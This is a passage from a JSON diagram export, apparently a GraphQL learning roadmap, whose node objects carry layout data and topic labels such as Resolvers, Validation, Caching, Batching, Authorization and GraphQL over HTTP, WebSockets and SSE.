true,\n      \"data\": {\n        \"label\": \"Type System\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"A54vi3Ao7fBHyTuqoH_it\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 308\n      },\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 68.2572052308409,\n        \"y\": 537.9979529933375\n      }\n    },\n    {\n      \"id\": \"HPdntdgTar1T34CZX8Y6y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 68.2572052308409,\n        \"y\": 590.9979529933375\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Fields\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LX9vZpx7yKlf0iR6AtBWz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 308\n      },\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 68.2572052308409,\n        \"y\": 590.9979529933375\n      }\n    },\n    {\n      \"id\": \"U-tLelmNQtR-pUq-sxU_2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 81.3770177634091,\n        \"y\": 707.608352612866\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Scalars\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"A54vi3Ao7fBHyTuqoH_it\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 308\n      },\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 81.3770177634091,\n        \"y\": 707.608352612866\n      }\n    },\n    {\n      \"id\": \"wfOsfb0zSAIdNkwFHfBcw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 68.2572052308409,\n        \"y\": 776.5973159217342\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Enums\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"A54vi3Ao7fBHyTuqoH_it\"\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 150\n      },\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 68.2572052308409,\n        \"y\": 776.5973159217342\n      }\n    },\n    {\n      \"id\": \"tc_rjJZrr2x3bp8mcoQ0F\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 211.8618127280065,\n        \"y\": 829.5973159217342\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Interfaces\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LX9vZpx7yKlf0iR6AtBWz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 156,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 156\n      },\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 211.8618127280065,\n        \"y\": 829.5973159217342\n      }\n    },\n    {\n      \"id\": \"d2ikbo4sZq7PmaCi5znkd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 68.2572052308409,\n        \"y\": 829.5973159217342\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Lists\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"A54vi3Ao7fBHyTuqoH_it\"\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 150\n      },\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 68.2572052308409,\n        \"y\": 829.5973159217342\n      }\n    },\n    {\n      \"id\": \"LX9vZpx7yKlf0iR6AtBWz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 211.8618127280065,\n        \"y\": 776.5973159217342\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Objects\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"A54vi3Ao7fBHyTuqoH_it\"\n      },\n      \"zIndex\": 999,\n      \"width\": 156,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 156\n      },\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 211.8618127280065,\n        \"y\": 776.5973159217342\n      }\n    },\n    {\n      \"id\": \"59COH3rerJJzKr6vrj4bF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 68.2572052308409,\n        \"y\": 881.5973159217342\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Unions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"A54vi3Ao7fBHyTuqoH_it\"\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 150\n      },\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 68.2572052308409,\n        \"y\": 881.5973159217342\n      }\n    },\n    {\n      \"id\": \"A54vi3Ao7fBHyTuqoH_it\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 211.8618127280065,\n        \"y\": 881.5973159217342\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Arguments\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 150\n      },\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 211.8618127280065,\n        \"y\": 881.5973159217342\n      }\n    },\n    {\n      \"id\": \"2q3TO7k_byrLI7LkcCplG\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 37.678457293951865,\n        \"y\": 540.4979529933375\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        },\n        \"oldId\": \"1mBWGT53bwy8JHSnf_6lr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 392\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 37.678457293951865,\n        \"y\": 540.4979529933375\n      }\n    },\n    {\n      \"id\": \"iYkHCKTsjtvo40f3eZoet\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.8175069304428,\n        \"y\": 855.4546928118529\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Validation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cSXsu17F1Oy34Wp6J-N3C\"\n      },\n      \"zIndex\": 999,\n      \"width\": 119,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.8175069304428,\n        \"y\": 855.4546928118529\n      }\n    },\n    {\n      \"id\": \"72wGg6yP8WnEdmkeKL9vh\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.8175069304428,\n        \"y\": 974.9675181201998\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Execution\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cSXsu17F1Oy34Wp6J-N3C\"\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.8175069304428,\n        \"y\": 974.9675181201998\n      }\n    },\n    {\n      \"id\": \"AlJlHZD3_SPoLNaqdM-pB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": 806.4546928118529\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Root Fields\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zQHifboRreE4OgJ7GnUlp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267\n      },\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": 806.4546928118529\n      }\n    },\n    {\n      \"id\": \"VDur5xYBC0LJtQgDrSEyj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": 859.4546928118529\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Resolvers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"sJ1_c3e08aehiqNMbIEEP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267\n      },\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": 859.4546928118529\n      }\n    },\n    {\n      \"id\": \"uPpsj2kCdgKsJpmTaw86u\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -690.9579568300146,\n        \"y\": 917.4883475571679\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Synchronous\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sJ1_c3e08aehiqNMbIEEP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227\n      },\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -690.9579568300146,\n        \"y\": 917.4883475571679\n      }\n    },\n    {\n      \"id\": \"tbDvQBtLRAcD-xYX9V7Va\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -690.9579568300146,\n        \"y\": 970.4883475571679\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Asynchronous\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sJ1_c3e08aehiqNMbIEEP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227\n      },\n      \"measured\": {\n        \"width\": 188,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -690.9579568300146,\n        \"y\": 970.4883475571679\n      }\n    },\n    {\n      \"id\": \"QFUOmJlPkkjpcl1vJxg9h\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -690.9579568300146,\n        \"y\": 1023.4883475571679\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Scalar Coercion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sJ1_c3e08aehiqNMbIEEP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227\n      },\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -690.9579568300146,\n        \"y\": 1023.4883475571679\n      }\n    },\n    {\n      \"id\": \"sJ1_c3e08aehiqNMbIEEP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -690.9579568300146,\n        \"y\": 1076.488347557168\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Lists\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227\n      },\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -690.9579568300146,\n        \"y\": 1076.488347557168\n      }\n    },\n    {\n      \"id\": \"I4wNBXV4xEZ0LWBhv5FwF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.9579568300146,\n        \"y\": 1144.5474215299696\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Validation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zQHifboRreE4OgJ7GnUlp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267\n      },\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.9579568300146,\n        \"y\": 1144.5474215299696\n      }\n    },\n    {\n      \"id\": \"zQHifboRreE4OgJ7GnUlp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.9579568300146,\n        \"y\": 1198.5474215299696\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Producing the Result\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sJ1_c3e08aehiqNMbIEEP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267\n      },\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.9579568300146,\n        \"y\": 1198.5474215299696\n      }\n    },\n    {\n      \"id\": \"jk64WxDch-mqf3_8SdY-D\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -468.4579568300146,\n        \"y\": 803.9546928118529\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 446\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -468.4579568300146,\n        \"y\": 803.9546928118529\n      }\n    },\n    {\n      \"id\": \"inhjhH-7xJyX8o4DQqErF\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.8175069304428,\n        \"y\": 1114.371143674773\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Serving over Internet\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cSXsu17F1Oy34Wp6J-N3C\"\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.8175069304428,\n        \"y\": 1114.371143674773\n      }\n    },\n    {\n      \"id\": \"Ya0ORdmEHEPpp1GAzMLVT\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 117.2572052308409,\n        \"y\": 987.3919731117412\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GraphQL Over HTTP\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 176,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 117.2572052308409,\n        \"y\": 987.3919731117412\n      }\n    },\n    {\n      \"id\": \"V3bgswBFr1xames3F8S_V\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 80.7572052308409,\n        \"y\": 1034.3919731117412\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GraphQL Over HTTP Spec\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"i-zcfN6RNXhA_sb7DcIon\"\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 245\n      },\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 80.7572052308409,\n        \"y\": 1034.3919731117412\n      }\n    },\n    {\n      \"id\": \"UYwuUVTeurwODV4_Kdt_W\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 80.7572052308409,\n        \"y\": 1087.3919731117412\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Caching\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"i-zcfN6RNXhA_sb7DcIon\"\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 245\n      },\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 80.7572052308409,\n        \"y\": 1087.3919731117412\n      }\n    },\n    {\n      \"id\": \"v9gVexHfDkpG9z3NL5S-9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 194.7572052308409,\n        \"y\": 1087.3919731117412\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Batching\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"i-zcfN6RNXhA_sb7DcIon\"\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 245\n      },\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 194.7572052308409,\n        \"y\": 1087.3919731117412\n      }\n    },\n    {\n      \"id\": \"i-zcfN6RNXhA_sb7DcIon\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 80.7572052308409,\n        \"y\": 1139.5474215299696\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Authorization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 245\n      },\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 80.7572052308409,\n        \"y\": 1139.5474215299696\n      }\n    },\n    {\n      \"id\": \"ud-BWNe_McqpZXHtlXPyr\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 68.2572052308409,\n        \"y\": 1200.1275563289466\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"QGWApwm1h5K_n0M81b9DH\"\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 176\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 68.2572052308409,\n        \"y\": 1200.1275563289466\n      }\n    },\n    {\n      \"id\": \"st02HY5-DEab1pYXkBc3S\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 92.7572052308409,\n        \"y\": 1211.3919731117412\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GraphQL Over WebSockets\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"Ya0ORdmEHEPpp1GAzMLVT\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 228,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 92.7572052308409,\n        \"y\": 1211.3919731117412\n      }\n    },\n    {\n      \"id\": \"A-PQ3_FVuCK3Eud75hsdj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 80.7572052308409,\n        \"y\": 1258.3919731117412\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Specification\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"V3bgswBFr1xames3F8S_V\"\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 245\n      },\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 80.7572052308409,\n        \"y\": 1258.3919731117412\n      }\n    },\n    {\n      \"id\": \"2YLm_S1j_832pb1OGSNaM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 80.7572052308409,\n        \"y\": 1311.3919731117412\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Realtime\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UYwuUVTeurwODV4_Kdt_W\"\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 245\n      },\n      \"measured\": {\n        \"width\": 107,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 80.7572052308409,\n        \"y\": 1311.3919731117412\n      }\n    },\n    {\n      \"id\": \"GzwPvLybxTJM96fUhQUOi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 192.7572052308409,\n        \"y\": 1311.3919731117412\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Authorization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"i-zcfN6RNXhA_sb7DcIon\"\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 245\n      },\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 192.7572052308409,\n        \"y\": 1311.3919731117412\n      }\n    },\n    {\n      \"id\": \"cH2FSWgKxQbBoI0tI-QNH\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 68.2572052308409,\n        \"y\": 1373.1275563289466\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"ud-BWNe_McqpZXHtlXPyr\"\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 176\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 68.2572052308409,\n        \"y\": 1373.1275563289466\n      }\n    },\n    {\n      \"id\": \"F4nR2VZ4k1uekWXINoMKH\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 92.7572052308409,\n        \"y\": 1384.3919731117412\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GraphQL Over SSE\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"st02HY5-DEab1pYXkBc3S\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 164,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 165,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 92.7572052308409,\n        